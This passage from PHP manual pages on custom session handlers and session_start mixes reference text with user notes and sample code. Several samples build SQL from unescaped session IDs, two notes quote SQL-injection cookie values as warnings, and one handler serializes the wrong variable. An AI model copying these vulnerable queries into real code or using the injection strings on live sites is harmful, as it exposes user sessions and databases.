                       mysql_real_escape_string(time() - $max));
        return mysql_query($sql, $this->_sess_db);

    }

}

//ini_set('session.gc_probability', 50);
ini_set('session.save_handler', 'user');

$session = new Session();
session_set_save_handler(array($session, 'open'),
                         array($session, 'close'),
                         array($session, 'read'),
                         array($session, 'write'),
                         array($session, 'destroy'),
                         array($session, 'gc'));

// below sample main

session_start();
session_regenerate_id(true);

if (isset($_SESSION['counter'])) {
    $_SESSION['counter']++;
} else {
    $_SESSION['counter'] = 1;
}

?>
mixailo at mercenaries dot ru 12-Oct-2007 01:55
It is useful to use MEMORY storage engine in MySQL while handling sessions.
http://dev.mysql.com/doc/refman/5.0/en/memory-storage-engine.html
james at dunmore dot me dot uk 11-Oct-2007 05:52
I think it is very important here to stress that the WRITE method should use UPDATE+INSERT (or mysql specific REPLACE).

There is example code "out there" that uses just UPDATE for the write method, in which case, when session_regenerate_id is called, session data is lost (as an update would fail, as the key has changed).

I've just wasted a whole day due to this (I know I should have thought it through / RTFM, but it is an easy trap to fall into).
Colin 08-Mar-2007 09:10
When using a custom session handler, if the first callback function (sessOpen in my case) finds no session id, one is set by the time the second argument (sessRead in my case) is called.
matt at openflows dot org 20-Sep-2006 02:02
Note that for security reasons the Debian and Ubuntu distributions of php do not call _gc to remove old sessions, but instead run /etc/cron.d/php*, which check the value of session.gc_maxlifetime in php.ini and delete the session files in /var/lib/php*.  This is all fine, but it means if you write your own session handlers you'll need to explicitly call your _gc function yourself.  A good place to do this is in your _close function, like this:

<?php
function _close() {
    _gc(get_cfg_var("session.gc_maxlifetime"));
   // rest of function goes here
}
?>
information at saunderswebsolutions dot com 16-Aug-2006 08:56
Note that if session.auto_start is set to On in the php.ini, your session_set_save_handler will return false as the session has already been initialized.

If you are finding that your code works OK on one machine but doesn't work on another, check to see if session.auto_start is set to On
sneakyimp AT hotmail DOT com 05-Aug-2006 06:20
the behavior, return values, and exact time of calling for these functions is pretty poorly documented here.  i thought folks might like to know that:

1) calling session_start() triggers PHP to first call your open function and then call your read function before resuming with the code immediately following your session_start() call.

2) calling session_id('some_value') within your open function WILL NOT SET THE SESSION COOKIE (at least not on my setup - PHP 4.4.1).  Assuming you defined some function to validate a session id called my_func(), you might want to do something like this in your open function:

<?php
  function _open($save_path, $session_name) {
    // check for session id
    $sess_id = session_id();
    if (empty($sess_id) || !myfunc($sess_id)) {
      //session_id is INVALID - generating new
      $new_id = md5(uniqid("some random seed here"));
      session_id($new_id);
      setcookie(session_name(),
                    $new_id,
                    0,
                    "/",
                    ".mydomain.com");
      }

    return true;
  } // _open()
?>
mjohnson at pitsco dot com 28-Mar-2006 08:04
With regards to the read handler, the docs say:

  "Read function must return string value always to make save
  handler work as expected. Return empty string if there is no
  data to read."

I can't emphasize this enough. I just spent half a day trying to figure out why my sessions weren't storing any information. I was blithely returning the results of a query on the database from the read handler. Since there was no match for the new ID, the result was NULL. Since it wasn't a string, sessions were essentially disabled. So, the safe thing might be something like this:

<?php
function sessRead($id)
{
    // Look up data
    $results = getStuff($id);

    // Make sure it's a string
    settype($results, 'string');
    return $results;
}
?>

Of course, you can do whatever you want with it. But, no matter what, make sure you return a string.

HTH,
Michael
stalker at ruun dot de 03-Jan-2006 04:25
object- and mysql-based session-handler, requires the following table:

CREATE TABLE `ws_sessions` (
  `session_id` varchar(255) binary NOT NULL default '',
  `session_expires` int(10) unsigned NOT NULL default '0',
  `session_data` text,
  PRIMARY KEY  (`session_id`)
) TYPE=InnoDB;

<?php
class session {
    // session-lifetime
    var $lifeTime;
    // mysql-handle
    var $dbHandle;
    function open($savePath, $sessName) {
       // get session-lifetime
       $this->lifeTime = get_cfg_var("session.gc_maxlifetime");
       // open database-connection
       $dbHandle = @mysql_connect("server","user","password");
       $dbSel = @mysql_select_db("database",$dbHandle);
       // return success
       if(!$dbHandle || !$dbSel)
           return false;
       $this->dbHandle = $dbHandle;
       return true;
    }
    function close() {
        $this->gc(ini_get('session.gc_maxlifetime'));
        // close database-connection
        return @mysql_close($this->dbHandle);
    }
    function read($sessID) {
        // fetch session-data
        $res = mysql_query("SELECT session_data AS d FROM ws_sessions
                            WHERE session_id = '$sessID'
                            AND session_expires > ".time(),$this->dbHandle);
        // return data or an empty string at failure
        if($row = mysql_fetch_assoc($res))
            return $row['d'];
        return "";
    }
    function write($sessID,$sessData) {
        // new session-expire-time
        $newExp = time() + $this->lifeTime;
        // is a session with this id in the database?
        $res = mysql_query("SELECT * FROM ws_sessions
                            WHERE session_id = '$sessID'",$this->dbHandle);
        // if yes,
        if(mysql_num_rows($res)) {
            // ...update session-data
            mysql_query("UPDATE ws_sessions
                         SET session_expires = '$newExp',
                         session_data = '$sessData'
                         WHERE session_id = '$sessID'",$this->dbHandle);
            // if something happened, return true
            if(mysql_affected_rows($this->dbHandle))
                return true;
        }
        // if no session-data was found,
        else {
            // create a new row
            mysql_query("INSERT INTO ws_sessions (
                         session_id,
                         session_expires,
                         session_data)
                         VALUES(
                         '$sessID',
                         '$newExp',
                         '$sessData')",$this->dbHandle);
            // if row was created, return true
            if(mysql_affected_rows($this->dbHandle))
                return true;
        }
        // an unknown error occured
        return false;
    }
    function destroy($sessID) {
        // delete session-data
        mysql_query("DELETE FROM ws_sessions WHERE session_id = '$sessID'",$this->dbHandle);
        // if session was deleted, return true,
        if(mysql_affected_rows($this->dbHandle))
            return true;
        // ...else return false
        return false;
    }
    function gc($sessMaxLifeTime) {
        // delete old sessions
        mysql_query("DELETE FROM ws_sessions WHERE session_expires < ".time(),$this->dbHandle);
        // return affected rows
        return mysql_affected_rows($this->dbHandle);
    }
}
$session = new session();
session_set_save_handler(array(&$session,"open"),
                         array(&$session,"close"),
                         array(&$session,"read"),
                         array(&$session,"write"),
                         array(&$session,"destroy"),
                         array(&$session,"gc"));
session_start();
// etc...
?>
bachir 04-Dec-2005 07:48
php doesn't make any checks about PHPSESSID cookie format, it is then important to verify cookie format before making any sql request.

if your read session request is :
SELECT DataValue FROM sessions WHERE SessionID='$aKey'

this generic cookie could succeed to access others session: PHPSESSID=1' OR SessionID LIKE '%>>

for safety, you can make this verification before sql request:
if (! preg_match('/^([0-9a-f]{32})$/i',$aKey)) return NULL;

hope this can be helpful
ccav at maxbaud dot net 21-Aug-2005 01:35
Ok, after much hairpulling, I've figured out a successful way to store objects in a session using a postgresql savehandler.

<?php
function write ($id, $sess_data)
{
  global $sql;  // my global db connection object
  $sess_data = @pg_escape_bytea(serialize($sess_id)); //works with any type
  $sql->Query("delete from sessions where sessionid = '$id'"); // delete old session record
  $sql->Query("insert into sessions (sessionid,datavalue) values ('$id', '$sess_data')");  //insert into session table
  return true;
}

function read ($id)
{
  global $sql;
  $result=$sql->Query("select * from sessions where sessionid = '$id'");
  if ($sql->rows==1) {
    $row=$sql->Fetch(0);
    $rval = unserialize(@pg_unescape_bytea($sql->data[2]));
    return $rval;
  } else {
    return "";
  }
}
?>

Make the datavalue column (the one used to store the actual session data) in the sessions table type bytea.

The problem apparently lies in the PHP serialize for objects, where there is a CR/LF inserted between the object id and the property array.  The CR/LF isn't escaped, and causes a fit for postgresql.

Any data type in PHP can be serialized, so there's no need to distinguish between types.

The object is fully restored, with methods.
niklas at removethisandthedot dot bivald dot com 16-Jul-2005 02:29
Many people are using session_set_save_handler to store the session in a session database, which ofcourse is both valid and smart since it (could) increas security.

What many people forgets, is that session ids can easily be edited by a user as he see fit (by editing a session_cookie for example*)

* If you like to play around to test your site, check Add n edit Cookies extension for firefox.

This might not be a big deal when saving them in a file, since the worst thing that may happen is that the user losts his session and a new one is generated. But when saving to an DB it is*. One should never trust that the server itself add slashes and escapes other vital characters.

* A google search for "SQL Injection" gives 716 000 hits.

Example code, none working:
<?PHP

    function read ($session_id)
    {
        $sql        = mysql_query("SELECT * FROM mysessions WHERE session_id=$session_id");
        $data= mysql_fetch_array($sql);

        }
    }

?>

Is obviously flawed. Since setting our session ID to "; drop mysessions; " would create serious problems.

A more suitable approch would be, something in the lines of:

Example code, none working:
<?PHP

    function read ($session_id)
    {

   // ( Code by php.net )
   if (get_magic_quotes_gpc()) {
       $session_id = stripslashes($session_id);
   }
   // Quote if not integer
   if (!is_numeric($session_id)) {
       $session_id = mysql_real_escape_string($session_id);
   }

        $sql        = mysql_query("SELECT * FROM mysessions WHERE session_id=$session_id");
        $fieldarray = mysql_fetch_array($sql);

        }
    }

?>

I quick checked different sample codes and tutorials and none of them actually escaped session ids.

That's my two cents for too night,
Niklas
korvus at kgstudios dot net 11-Jun-2005 02:34
It seems when you call 'session_name()', php loads the session id automatically from GET ( if the index exists ) and passes it to the 'read' callback method correctly, but the 'write' callback is invoked twice: first the auto-generated session id, then the custom session id

So be aware of what queries you execute inside the callback .. I got crazy because I used a MySQL 'REPLACE' statement to agilize, and I spent a lot of hours trying to understand why 2 rows instead of 1 were being affected ( the first id was inserting, the second updating )

I hope this helps!
Robert Chapin 06-May-2005 11:09
Session authentication is not meant to be part of the session handlers.

These handlers only read and write the session data itself, and will not allow you to call the vital function session_regenerate_id().

To add extra authentication routines, call them after session_start returns control.  DO NOT put them in your 'open' or 'read' handlers.

Enjoy,
-- Miqro
oliver at teqneers dot de 03-Feb-2005 12:44
For some people it might be important to know, that if the standard session handler has been overwritten with session_set_save_handler, no locking is working anymore (between session_read and session_write). The following might happen:

script "A" start         .
read session data        .
.                        script "B" start
.                        read session data
running (30secs)         add session data
.                        write sesion data
.                        script "B" stop
write session data       .
script "A" stop          .

If a script "A" runs for a long time (say 30secs) the same user might start another script "B", which also uses a session. Script "B" will start and read session data, even though script "A" is still running. Because script "B" is much faster it will finish its work and write back its session data before script "A" has ended. Now script "A" ends and overwrites all of script "B"'s session data. If you DON'T use session_set_save_handler, this cannot happend, because in this case, PHP will not start script "B" until script "A" ends.
Balu 20-Sep-2004 12:26
If a session is closed the save-handlers seem to be resetted (in PHP 4.1.2 they are), so you need to run session_set_save_handler() again after e.g. running session_write_close() and restarting the session with session_start();
coco at digitalco2 dot com 24-Nov-2003 12:59
When using mySQL for your session handling functions, don't forget to call mysql_select_db() to change the database if you are using a separate database for your session data. Call mysql_select_db() INSIDE every handler function that accesses the database, since if you write session data after accessing another database, it will not change the database to your session database, and therefore, not write the session data.
ivo at magstudio dot net 25-Nov-2002 04:08
Just a few words to explain some troubles while using session_set_save_handler(). It appears that internally PHP calls session management functions in this order: open(), read(), write(), close(). Close() function is called even if you does not make a call to sesison_start(), perhaps for some reasons like cleaning.
   If you try to redefine these functions and call sessions_set_save_handler() but something doesn't work, (in my case the ssion data hasn't been written) it's a good idea to debug them in the order they are called. They doesn't produce error output to browser but you can use print or echo.
   Shortly, if your write() function doesn't work as expected take a look for errors in previous functions - open() and read().
   I hope that this will help to save someone few hours debugging.
spam at skurrilo dot de 08-May-2002 01:16
You can't use the session autostart feature with

session.save_handler = user

set in your php.ini. Use instead the auto_prepend_file directive in the php.ini and point it to your save_handler with an session_start() at the end.


Start new or resume existing session

  • « session_set_save_handler
  • session_status »
  • PHP Manual
  • Session Functions
  • Start new or resume existing session

session_start

(PHP 4, PHP 5)

session_start — Start new or resume existing session

Description

bool session_start ( void )

session_start() creates a session or resumes the current one based on a session identifier passed via a GET or POST request, or passed via a cookie.

When session_start() is called or when a session auto starts, PHP will call the open and read session save handlers. These will either be a built-in save handler provided by default or by PHP extensions (such as SQLite or Memcached); or can be custom handler as defined by session_set_save_handler(). The read callback will retrieve any existing session data (stored in a special serialized format) and will be unserialized and used to automatically populate the $_SESSION superglobal when the read callback returns the saved session data back to PHP session handling.

To use a named session, call session_name() before calling session_start().

When session.use_trans_sid is enabled, the session_start() function will register an internal output handler for URL rewriting.

If a user uses ob_gzhandler or similar with ob_start(), the function order is important for proper output. For example, ob_gzhandler must be registered before starting the session.

Return Values

This function returns TRUE if a session was successfully started, otherwise FALSE.

Changelog

Version | Description
5.3.0 | If a session fails to start, then FALSE is returned. Previously TRUE was returned.
4.3.3 | As of PHP 4.3.3, calling session_start() after the session was previously started will result in an error of level E_NOTICE. Also, the second session start will simply be ignored.

Examples

Example #1 A session example: page1.php

<?php
// page1.php

session_start();

echo 'Welcome to page #1';

$_SESSION['favcolor'] = 'green';
$_SESSION['animal']   = 'cat';
$_SESSION['time']     = time();

// Works if session cookie was accepted
echo '<br /><a href="page2.php">page 2</a>';

// Or maybe pass along the session id, if needed
echo '<br /><a href="page2.php?' . SID . '">page 2</a>';
?>

After viewing page1.php, the second page page2.php will magically contain the session data. Read the session reference for information on propagating session ids as it, for example, explains what the constant SID is all about.

Example #2 A session example: page2.php

<?php
// page2.php

session_start();

echo 'Welcome to page #2<br />';

echo $_SESSION['favcolor']; // green
echo $_SESSION['animal'];   // cat
echo date('Y m d H:i:s', $_SESSION['time']);

// You may want to use SID here, like we did in page1.php
echo '<br /><a href="page1.php">page 1</a>';
?>

Notes

Note:

To use cookie-based sessions, session_start() must be called before outputing anything to the browser.

Note:

Use of zlib.output_compression is recommended instead of ob_gzhandler()

Note:

This function sends out several HTTP headers depending on the configuration. See session_cache_limiter() to customize these headers.

See Also

  • $_SESSION
  • The session.auto_start configuration directive
  • session_id() - Get and/or set the current session id

User Contributed Notes

elitescripts2000 at yahoo dot com 25-Jan-2014 12:56
3 easy but vital things about Sessions in AJAX Apps.

<?php
// session start

//  It is VERY important to include a Period if using
// a whole domain.  (.yourdomain.com)
// It is VERY important to set the root path your session will always
// operate in... (/members) will ensure sessions will NOT be interfered
// with a session with a path of say (/admin) ... so you can log in
// as /admin and as /members... NEVER do unset($_SESSION)
// $_SESSION=array(); is preferred, session_unset();  session_destroy();

session_set_cookie_params(0, '/members', '.yourdomain.com', 0, 1);
session_start();
$_SESSION = array();
session_unset();
session_destroy();

session_set_cookie_params(0, '/members', '.yourdomain.com', 0, 1);
session_start();

$_SESSION['whatever'] = 'youwhat';

// session destroying

// To be safe, clear out your $_SESSION array
// Next, what most people do NOT do is delete the session cookie!
// It is easy to delete a cookie by expiring it long before the current time.
// The ONLY WAY to delete a cookie, is to make sure ALL parameters match the
// cookie to be deleted...which is easy to get those params with
// session_get_cookie_params()...
// FInally, use  session_unset(); and session_destroy(); in this order to ensure
// Chrome, IE, Firefox and others, are properly destroying the session.
$_SESSION = array();
if (ini_get('session.use_cookies'))
{
    $p = session_get_cookie_params();
    setcookie(session_name(), '', time() - 31536000, $p['path'], $p['domain'], $p['secure'], $p['httponly']);
 }
session_unset();
session_destroy();

// AJAX and SESSIONS.
// Example... you start a session based PHP page, which then calls an Ajax (XMLHTTP) authenticated
// using the SAME SESSION to Poll and output the data, for example.  But, you notice when you
// try to start the Polling AJAX call always HANGS and seems to hang at the session_start().
// This is because the session is opened in the first page, calls the AJAX polling example, and
// tries to open the same session (for authentication) and do the AJAX call, you MUST call
// session_write_close(); meaning you are done writing to the $_SESSION variable, which really
// represents a file that must be CLOSED with session_write_close();....
// THAN you can call your AJAX Polling code to reopen the same session and do its polling...
// Normally, the $_SESSION is closed automatically when the script is closed or finished executing
// So, if you need to keep a PHP page running after opening a SESSION, simply close it when finished
// writing to $_SESSION so the AJAX polling page can authenticate and use the same session in a
// seperate web page...

session_write_close();

?>

Hope this helps someone with their sessions...
Thanks.
web at metelab dot com 13-Jan-2014 12:18
IMPORTAN NOTE for all newby!!!
Before session_start() !
you must set session_cache_limiter()
 in the value public, private_no_expire or private,
otherwise the standard session will be send headers 1981year (nocache)
and you will be very long to find someone sends headers!

Maybe this will help, because not find the headers are sent in the browser
ohcc at 163 dot com 26-Dec-2013 01:00
The constant SID would always be '' (an empty string) if directive session.use_trans_sid in php ini file is set to 0.

So remember to set session.use_trans_sid to 1 and restart your server before you use SID in your php script.
Anonymous 22-Aug-2013 02:56
In the Classes and Objects docs, there is this: In order to be able to unserialize() an object, the class of that object needs to be defined.

An object made by SimpleXML_Load_String() cannot be serialized.  An attempt to do so will result in a run-time failure, throwing an exception.  If you store such an object in $_SESSION, you will get a post-execution error that says this:

Fatal error: Uncaught exception 'Exception' with message 'Serialization of 'SimpleXMLElement' is not allowed' in [no active file]:0 Stack trace: #0 {main} thrown in [no active file] on line 0

The entire contents of the session will be lost.  This script demonstrates the failure.  Hope this saves someone some time!

<?php // RAY_temp_ser.php
error_reporting(E_ALL);
session_start();
var_dump($_SESSION);
$_SESSION['hello'] = 'World';
var_dump($_SESSION);

// AN XML STRING FOR TEST DATA
$xml = '<?xml version="1.0"?>
<families>
  <parent>
    <child index="1" value="Category 1">Child One</child>
  </parent>
</families>';

// MAKE AN OBJECT (GIVES SimpleXMLElement)
$obj = SimpleXML_Load_String($xml);

// STORE THE OBJECT IN THE SESSION
$_SESSION['obj'] = $obj;
ilnomedellaccount at gmail dot com 14-Aug-2013 12:53
A note about session_start(), custom handlers and database foreign key constraints, which I think may be of some use...

We know that if we want our sessions into a database table (rather than the default storage), we can refer to session_set_save_handler(...) to get them there. Note that session_set_save_handler must (obviously) be called before session_start(), but let me get to the point...

Upon calling session_start() the "first time", when the session does not already exist, php will spawn a new session but will not call the write handler until script execution finishes.

Thus, the session at this point exists in the server process memory, but won't be visible as a row in the DB before the script ends.

This seems reasonable, because this avoids some unnecessary database access and resource usage before we even populate our session with meaningfull and definitive data, but this also has side-effects.

In my case, the script called session_start() to make sure a session was initiated, then used session_id() to populate another table in the DB, which had foreign_key constraint to the "sessions" table. This failed because no session was in the db at that point, yet!

I know I could simply force the creation of the row in the DB by manually calling the write handler after session_start(), when necessary, but I am not sure if this is the best possible approach.

As soon as I find an "elegant" solution, or a completely different approach, I will post some working sample code.

In the meanwhile... have fun!
AlexW 07-Feb-2013 09:22
Please note:

If your session contains a class, include the class definition *before* calling session_start() otherwise you will get an error!
someOne_01 at somewhere dot com 17-Nov-2012 11:30
When you have an import script that takes long to execute, the browser seem to lock up and you cannot access the website anymore. this is because a request is reading and locking the session file to prevent corruption.

you can either
- use a different session handler with session_set_save_handler()
- use session_write_close() in the import script as soon you don't need session anymore (best moment is just before the long during part takes place), you can session_start when ever you want and as many times you like if your import script requires session variables changed.

example
<?php
session_start(); //initiate / open session
$_SESSION['count'] = 0; // store something in the session
session_write_close(); //now close it,
# from here every other script can be run (and makes it seem like multitasking)
for($i=0; $i<=100; $i++){ //do 100 cycles
    session_start(); //open the session again for editing a variable
    $_SESSION['count'] += 1; //change variable
    session_write_close(); //now close the session again!
    sleep(2); //every cycle sleep two seconds, or do a heavy task
}
?>
foxz 23-Jul-2012 11:34
Cannot send session cache limiter...

if you use UTF-8 charactere format
*** dont use BOM ! ***

(convert to UTF-8 without BOM)

config your FTP client to transfert *.php in BINARY format

BOM is an mark in start of file.
"hey, I'm UTF-8 encoded"<?php session_start() ?>
           ^--- something before  !

Syl
henrik at raketten dot net 29-May-2012 07:59
I have found, like many others, that sometimes IE looses SESSION variables. In my case, this was caused due to a CNAME foirwarded IP address and it went away, when I changed it to a A node in my DNS settings.
I hope this will help somebody....
LaKing at D250 dot hu 03-Mar-2012 12:13
I had a warning complaining about session_start() after adding an include file.

- It broke the functionality of my php code in a very strange manner.
- The included tree did not contain any additional session_start calls.
- it produced this warning only with with php -l from my development environment, and didn't produce any errors in the error_log.
- the warning pointed into a non-existing line, 1 line after last line of the file.

I use gedit on CentOS 6.1 with UTF-8 as current locale.
- Switching encoding back and forth didn't help.
- Commented out all the included content, only the php tags left, the error wa still there. ..

The solution was to clear out everything, and re-writing the php tags and posting back the content.

As it seems "hidden" unsupported characters produce errors and warnings falsely pointing to this function.
james at ustelcom dot net 15-Nov-2011 11:52
I had the infamous "Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent ..." error, and I was convinced it was because I was trying to open a session AND send a cookie.  I tried everything that was suggested, uploaded in ANSI, uploaded in UTF 8, etc.  I tried opening the session first, then sending the cookie first.  Turns out my problem was quite simple:

" <?php
session_start();

?>"

Do you see the problem with my code?  I finally did:

" <?php"
^^------ There is an accidental space!

I'm sure I'm not the only one who encounters this problem.  Hopefully this helps others!
max_bilyk at yahoo dot com 04-Nov-2011 03:53
An interesting bug/misfunction was discovered when using Flash-based file uploader (in my case jQuery plugin Uploadify, but also found similar problem reports about SWFupload).

Problem occurs with PHP 5.2 (and probably later as well) when it is compiled with Suhosin patch.

The problem is that session_start() does not load session data into $_SESSION variable when it gets request from Flash, and in this case $_SESSION variable becomes empty and at the end  of script execution erases session data when script execution ends (PHP saves this empty $_SESSION to file).

The fact that Flash is using its own session management is solved by passing via POST/GET correct session ID, but erasing session data is definitely a problem.

The reason for the problem is method of session data encryption - Suhosin uses user-agent data as a part of encryption key.

And in case client machine makes requests from two different user-agents (browser + flash) Suhosin generates different session decryption key which is unable to decrypt session data (and notice that there's no message about this fact in any log-file).

So the solution for such case may be either by disabling encryption of session data by putting such directive in php.ini:

suhosin.session.encrypt=Off

or, alternatively, still keep session data encrypted but exclude user-agent data from encryption key by using this directive in php.ini:

suhosin.session.cryptua=Off
Dark Angel 16-Oct-2011 04:49
I had script which should under CLI restore session set by web interface.

Spent like few hours understanding why script with session_id($sid) and session_start() is not restoring session, but generating new one. No any notices or anything helping to resolve.

$sid was read from STDIN. Issue was that value from STDIN contained '\n' character at the end, which is invalid for session identifier. Discovered by stracing CLI script.

Hope this will save you a lot of time.
sanjuro at 1up-games dot com 18-Aug-2011 08:56
The problem with SID is that if on occasions you don't start a session, instead of outputting an empty string for transparent integration it will return the regular undefined constant notice. So you might want to test the constant with defined() beforehand.
egonrp 19-Jul-2011 03:59
SOLVED: Session data lost

My session data lost problem was resolved by using a short name for session key.
This error happens with PHP version 5.2.6 (Debian Lenny), others versions works fine without any modification.

Before:
$_SESSION['current_user_search_filter'] = serialize($myArray);
$value = unserialize($_SESSION['current_user_search_filter']);

After (short key name):
$_SESSION['usearchfilter'] = serialize($myArray);
$value = unserialize($_SESSION['usearchfilter']);

Good Luck! :)
gkemaldag at gmail dot com 20-Apr-2011 09:37
For the error:

Warning: session_start(): Cannot send session cache limiter - headers already sent ...

this kind of errors would occur, when the encoding of your script file needs to send some headers just after your script starts to execute,

this happens mostly with the scripts using normal utf8 encoding.

To overcome the issue, use utf8(without BOM) encoding provided by notepad++ and most modern editors. Using utf8 encoding and cookie based sessions, will result in headers already sent by error.
alakys 03-Mar-2011 05:26
Sorry for the noob comment but for those having the error :

Warning: session_start(): Cannot send session cache limiter - headers already sent ...

And before trying all the solutions added by the experts, simply ensure to have your php code before even the DOCTYPE tag like this (and not between the doctype and html tags as I was doing):

<?php session_start(); ?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Test Page</title>
</head>

<body>
etc ....

It might sound funny but I am sure this post will save time to some others noobs like me ... !
linblow at hotmail dot fr 16-Feb-2011 02:06
If you want to handle sessions with a class, I wrote this little class:

<?php

/*
    Use the static method getInstance to get the object.
*/

class Session
{
    const SESSION_STARTED = TRUE;
    const SESSION_NOT_STARTED = FALSE;

    // The state of the session
    private $sessionState = self::SESSION_NOT_STARTED;

    // THE only instance of the class
    private static $instance;

    private function __construct() {}

    /**
    *    Returns THE instance of 'Session'.
    *    The session is automatically initialized if it wasn't.
    *
    *    @return    object
    **/

    public static function getInstance()
    {
        if ( !isset(self::$instance))
        {
            self::$instance = new self;
        }

        self::$instance->startSession();

        return self::$instance;
    }

    /**
    *    (Re)starts the session.
    *
    *    @return    bool    TRUE if the session has been initialized, else FALSE.
    **/

    public function startSession()
    {
        if ( $this->sessionState == self::SESSION_NOT_STARTED )
        {
            $this->sessionState = session_start();
        }

        return $this->sessionState;
    }

    /**
    *    Stores datas in the session.
    *    Example: $instance->foo = 'bar';
    *
    *    @param    name    Name of the datas.
    *    @param    value    Your datas.
    *    @return    void
    **/

    public function __set( $name , $value )
    {
        $_SESSION[$name] = $value;
    }

    /**
    *    Gets datas from the session.
    *    Example: echo $instance->foo;
    *
    *    @param    name    Name of the datas to get.
    *    @return    mixed    Datas stored in session.
    **/

    public function __get( $name )
    {
        if ( isset($_SESSION[$name]))
        {
            return $_SESSION[$name];
        }
    }

    public function __isset( $name )
    {
        return isset($_SESSION[$name]);
    }

    public function __unset( $name )
    {
        unset( $_SESSION[$name] );
    }

    /**
    *    Destroys the current session.
    *
    *    @return    bool    TRUE is session has been deleted, else FALSE.
    **/

    public function destroy()
    {
        if ( $this->sessionState == self::SESSION_STARTED )
        {
            $this->sessionState = !session_destroy();
            unset( $_SESSION );

            return !$this->sessionState;
        }

        return FALSE;
    }
}

/*
    Examples:
*/

// We get the instance
$data = Session::getInstance();

// Let's store datas in the session
$data->nickname = 'Someone';
$data->age = 18;

// Let's display datas
printf( '<p>My name is %s and I\'m %d years old.</p>' , $data->nickname , $data->age );

/*
    It will display:

    Array
    (
        [nickname] => Someone
        [age] => 18
    )
*/

printf( '<pre>%s</pre>' , print_r( $_SESSION , TRUE ));

// TRUE
var_dump( isset( $data->nickname ));

// We destroy the session
$data->destroy();

// FALSE
var_dump( isset( $data->nickname ));

?>

I prefer using this class instead of using directly the array $_SESSION.
math[dot]lechat[at-at]gmail[dot]com 14-Feb-2011 10:08
"Cannot send session cookie - headers already sent" comes most often when the file is encoded in UTF-8 WITH BOM under Windows.
When transfered on an UNIX server the BOM is considered as text and sent before any header you can define.
anon at ymous dot com 04-Feb-2011 10:51
I am trying to get a session created by a browser call to be used by a command line cli->curl php call (in this case, both calls to the same server and php.ini), for a set of flexible media import routines,

but the cli->curl call always starts a new session despite me putting PHPSESSID=validID as the first parameter for the url called by curl.

I was able to fix it by calling session_id($_GET['PHPSESSID']) before calling session_start() in the script called via curl.
nizamgok at gmail dot com 17-Jan-2011 08:59
Be aware that when you deliver your flash file through php, you cannot access the session vars that are set from the parent page in Opera, Safari and IE9. I didn't test it with IE6-8. Chrome and Firefox are OK. I don't know the real reason but guessing some of the header data are missing.

swf.php:
<?php

session_start();

//$_SESSION['test'] --> doesn't exist!
//session_id() --> != 'hey123'

header('Content-type: application/x-shockwave-flash');

readfile('/path/to/flash.swf');

?>

index.php"
<?php

session_id('hey123');
session_start();
$_SESSION['test'] = 'test';

?>
<object width="550" height="400">
<param name="movie" value="http://example.com/swf/">
</object>

* swf directory has an .htaccess file which points to swf.php
dave1010 at gmail dot com 17-Dec-2010 10:35
PHP locks the session file until it is closed. If you have 2 scripts using the same session (i.e. from the same user) then the 2nd script will not finish its call to session_start() until the first script finishes execution.

If you have scripts that run for more than a second and users may be making more than 1 request at a time then it is worth calling session_write_close() as soon as you've finished writing session data.

<?php
// a lock is places on the session, so other scripts will have to wait
session_start();

// do all your writing to $_SESSION
$_SESSION['a'] = 1;

// $_SESSION can still be read, but writing will not update the session.
// the lock is removed and other scripts can now read the session
session_write_close();

do_something_slow();
?>

Found this out from http://konrness.com/php5/how-to-prevent-blocking-php-requests/
chong at completemr dot com 09-Dec-2010 04:11
We are facing a problem and getting an error when loading a php page

Warning: session_start() [<a href='function.session-start'>function.session-start</a>]: Cannot send session cookie - headers already sent by (output started at /www/http/example/zh_CN/unsubscribe.php:1) in /www/http/example/inc/common.php on line 4

We had google and browse through some helps file and found some suggestion as below.

1. Use ob_start to cache any output before session_start function.

2. Make sure the session.save_path in php.ini is set and point to a valid path

We had tried the above but still having some the same problem.

We are using notepad ++ for the coding.

And we notice that this file is somehow being encoded to UTF-8 by one of my colleague because he though that this will help to display the result in the correct languages.

Solution:
Change the encode to use ANSI and make sure the EOL conversion is set to UNIX.
Bingo. Things are back to normal as expected.

Note:
The encode might cause this problem in certain machine but not others. So i had no clue on this. We had no problem running the php code with UTF-8 encode in a 64bits Linux Enterprise but hit the problem running in a 32 bits Linux slackware.

Hope this helps.
user at annon dot org 09-Aug-2010 01:48
I recently stumbled upon a problem in my download script where a download link would be clicked but then no other links would work until that download had finished. Other instances/windows would not work either.

This is because session_start() locks the session data until the script finishes. In my case, until the script had finished sending the file data (which in a throttling script can take a while).

The solution is to use session_write_close();
This writes the current session data back to the session and closes the session so that other instances/windows can access the script using the same session.

Since adding it to my script my site can now have several files downloading at once from the same session and still serve pages.
milanzivanovic at gmail dot com 05-Aug-2010 10:48
Resolve for:

Warning: session_start() [function.session-start]: Cannot send session cookie - headers already sent by (output started at

is in changing text editor encoding to ANSI or UTF-8 without BOM.

Thanks God I found the answer!
aladinfajr at gmail dot com 01-Jun-2010 06:18
my problem was in
session_start();
when i include this term in my first code it show me Warning Message: Cannot Modfie cache limiter
i had tryed many solves and dosn't work

finally

i write my code in other encode
and it sccussfully worked

i hope that help
gultron at hotmail dot com 30-Mar-2010 05:02
Hi,

I just had this error saying that there is something wrong with session_start(); even if session_start(); is the only command in the script.

Warning: session_start() [function.session-start]: Node no longer exists in C:\xampp\htdocs\soui\index.php on line 3

Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent (output started at C:\xampp\htdocs\soui\index.php:3) in C:\xampp\htdocs\soui\index.php on line 3

I corrected this problem by deleting all the files in the tmp directory of the webserver, C:\xampp\tmp
info.at.merchandisinginteractive.sk 02-Mar-2010 03:46
A handy script that checks fot the presence of uft-8 byte order mark (BOM) in all files in all directories starting on current dir. Combined from the work of other people here...

<?php
function fopen_utf8 ($filename) {
    $file = @fopen($filename, "r");
    $bom = fread($file, 3);
    if ($bom != b"\xEF\xBB\xBF")
    {
        return false;
    }
    else
    {
        return true;
    }
}

function file_array($path, $exclude = ".|..|design", $recursive = true) {
    $path = rtrim($path, "/") . "/";
    $folder_handle = opendir($path);
    $exclude_array = explode("|", $exclude);
    $result = array();
    while(false !== ($filename = readdir($folder_handle))) {
        if(!in_array(strtolower($filename), $exclude_array)) {
            if(is_dir($path . $filename . "/")) {
                                // Need to include full "path" or it's an infinite loop
